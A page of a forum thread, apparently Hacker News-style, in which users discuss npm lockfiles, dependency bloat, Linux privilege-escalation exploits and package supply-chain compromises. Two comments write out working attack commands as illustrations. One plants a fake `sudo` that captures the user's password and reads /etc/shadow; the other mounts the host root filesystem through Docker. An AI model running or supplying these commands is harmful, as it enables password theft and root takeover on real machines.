331–340 of 497 posts
6-19-2005
My copy of StepMania is turning old enough to drink in like a month and it's still fantastic, software updates are (mostly) a scam.
Earlier quoted context omitted.
To be fair npm makes (made?) it weirdly hard to use lock files so a lot of people did that by mistake. And when you do use lock, it reinstalls every time so a retagged package can just silently update.
doesn't `npm ci` prevent that? it fails if something doesn't match the lockfile, and wipes node_modules before running this is on some ancient node 16 build i was trying to clean up ci for, so not very recent npm
In general, use of npm ci is usually sparsely documented - most node projects you can find just recommend using npm install during the setup, suggesting a failure in promoting it's availability (I only know of it because I got frustrated that the lockfile kept clogging up git commits whenever I added dependencies with what looked like auto-generated build-time junk).
Earlier quoted context omitted.
I don't have an answer what the alternative is going to look like. But smarter people than me may find something. C/C++ are doing fine without package managers. Go at least has a more capable standard library than Rust. But I'm not sure if Go's import github approach is the answer. One idea I've been entertaining is to not allow transitive imports in packages. It would probably lead to far fewer and more capable pack…
> Go at least has a more capable standard library than Rust. Many Golang projects I see in the wild will import a number of dependencies with significant feature overlap with sections of the standard library, or even be intended as a replacement for them. So it seems that having an expansive stdlib isn’t sufficient to avoid deep dependency trees, it probably helps to some degree but it’s definitely not a panacea.
Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits? (Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a hand…
The post in question points to dependency package managers however not system packages, such as NPM, which has pre and post build scripts, install scripts, etc.
Earlier quoted context omitted.
Most people will avoid sticking things in their mouth by default. They don't wait for the microbial cultures to come back positive to say no. We need a cultural shift toward code hygiene, which isn't really any different from the norms most cultures develop around food. It's a mix of crude heuristics but the sense of "eeew" is keeping billions of people alive.
> They don't wait for the microbial cultures to come back positive to say no. They dont wait for the cultures to come back negative to say yes either. They just eat what they are served.
If the restaurant has a foul smell and the food is served by a twitchy waiter who insists that the food totally free, I think most people will think twice.
Earlier quoted context omitted.
FreeBSD is not a distro
What does the D in BSD stand for again?
They are completely independent operating systems with a distant shared history.
Whereas on Linux, the distros are taking a common Linux kernel source, and combining it with their choice of common userlands like GNU. Debian has the same kernel and GNU userland that Arch and Fedora use. You could take a program compiled for Debian and run it on Arch, which is common these days due to Docker where you're pulling another distro's userland and running it on your distro's kernel. That is how Linux distros are "distros" whereas the BSDs are independent operating systems.
Earlier quoted context omitted.
> we're entering a more hardened era of software This is one force that operates. Another is that, in an effort to avoid depending on such a big attack surface, people are increasingly rolling their own code (with or without AI help) where they might previously have turned to an open source library. I think the effect will generally be an increase in vulnerabilities, since the hand-rolled code hasn't had the same amo…
If I hand roll my logging library, I unlikely include automatic LDAP request based on message text (infamous Log4j vulnerability).
Linux distributions do not need Copy Fail to get root access: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc mkdir -p .local/bin/ cat .local/bin/sudo read -rs -p "[sudo] password for $USER: " PASSWORD echo "" echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow EOF chmod +x .local/bin/sudo attack on next sudo call, shows data accessible only to root. Our security model based on distributions verifying packa…
If `docker` is already there, why even bother with `sudo` when you can just: docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l' Chances are that the person who set up Docker didn't do it properly.
$ docker run -it -v.:/app -w /app node:alpine /bin/sh
/app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
/bin/sh: docker: not found
Earlier quoted context omitted.
> or only allowing widely used, well-maintained Javascript libraries. That isn't a guarantee either, just last month someone compromised the Axios library.
They stole the axios's npm keys and they uploaded malicious artifacts. They did not takeover the axios's repo. The issue is with packaging and distribution, not with code.